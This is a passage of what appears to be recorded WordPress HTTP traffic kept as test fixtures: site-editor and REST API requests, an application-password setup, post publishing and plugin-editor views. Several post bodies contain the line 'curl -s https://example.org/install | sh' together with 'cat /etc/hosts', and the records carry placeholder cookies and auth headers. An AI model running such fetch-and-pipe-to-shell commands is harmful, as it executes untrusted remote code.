"Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/menus?context=view&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp-block-editor/v1/navigation-fallback?_embed=true&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/navigation?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""} +{"method": "GET", "target": "/?customize_changeset_uuid=f8b37173-205c-47cb-8499-41107f2fbe14&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203401"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/users/me/application-passwords?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432"], "body": "{\"name\":\"Example phone app\"}"} +{"method": "GET", "target": "/wp-json/", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=5&search=hello", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 77", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"title\": \"From the app\", \"content\": \"

It's a test

\", \"status\": \"draft\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=sample-page", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/comments", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 102", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"post\": 1, \"content\": \"A note from the app\", \"author_name\": \"Bob\", \"author_email\": \"bob@example.com\"}"} +{"method": "GET", "target": "/?rest_route=/wp/v2/posts&per_page=2", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fhello-world%2F", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""} +{"method": "GET", "target": "/wp-login.php?action=logout&_wpnonce=e9a74137b6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203454"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/templates/twentytwentyfive//index?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//index\",\"content\":\"\\n\\n\\n

Our opening hours.

\\n\"}"} +{"method": "POST", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 170", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//header\",\"content\":\"\\n\\n\\n

Our opening hours.

\\n\"}"} +{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"title\":\"A guide to the plain address\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\",\"status\":\"draft\"}"} +{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=12&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\"}"} +{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"title\":\"A guide to the index address\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\",\"status\":\"draft\"}"} +{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=14&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\"}"} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fviews%2Fconfig.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207402"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fbin%2Finstall.sh&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207404"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=example-plugin%2Fdocker-compose.yml&plugin=example-plugin%2Fexample-plugin.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207406"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?file=inc%2Fconfig.php&theme=example-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207407"], "body": ""} +{"method": "GET", "target": "/?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""} +{"method": "GET", "target": "/index.php?s=python3", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&_wpnonce=3a4f1df05d&_wp_http_referer=%2Fwp-admin%2Fedit.php&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit.php?s=python3&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207365"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter=&s=python3&_wpnonce=f27c858c25&_wp_http_referer=%2Fwp-admin%2Fupload.php%3Fmode%3Dlist&action=-1&affected=&_ajax_nonce=a654b3ca7f&ps=", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?mode=list&attachment-filter&s=python3&action=-1&affected&_ajax_nonce=a654b3ca7f&ps", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php?mode=list", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207366"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugin-install.php?s=python3&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: 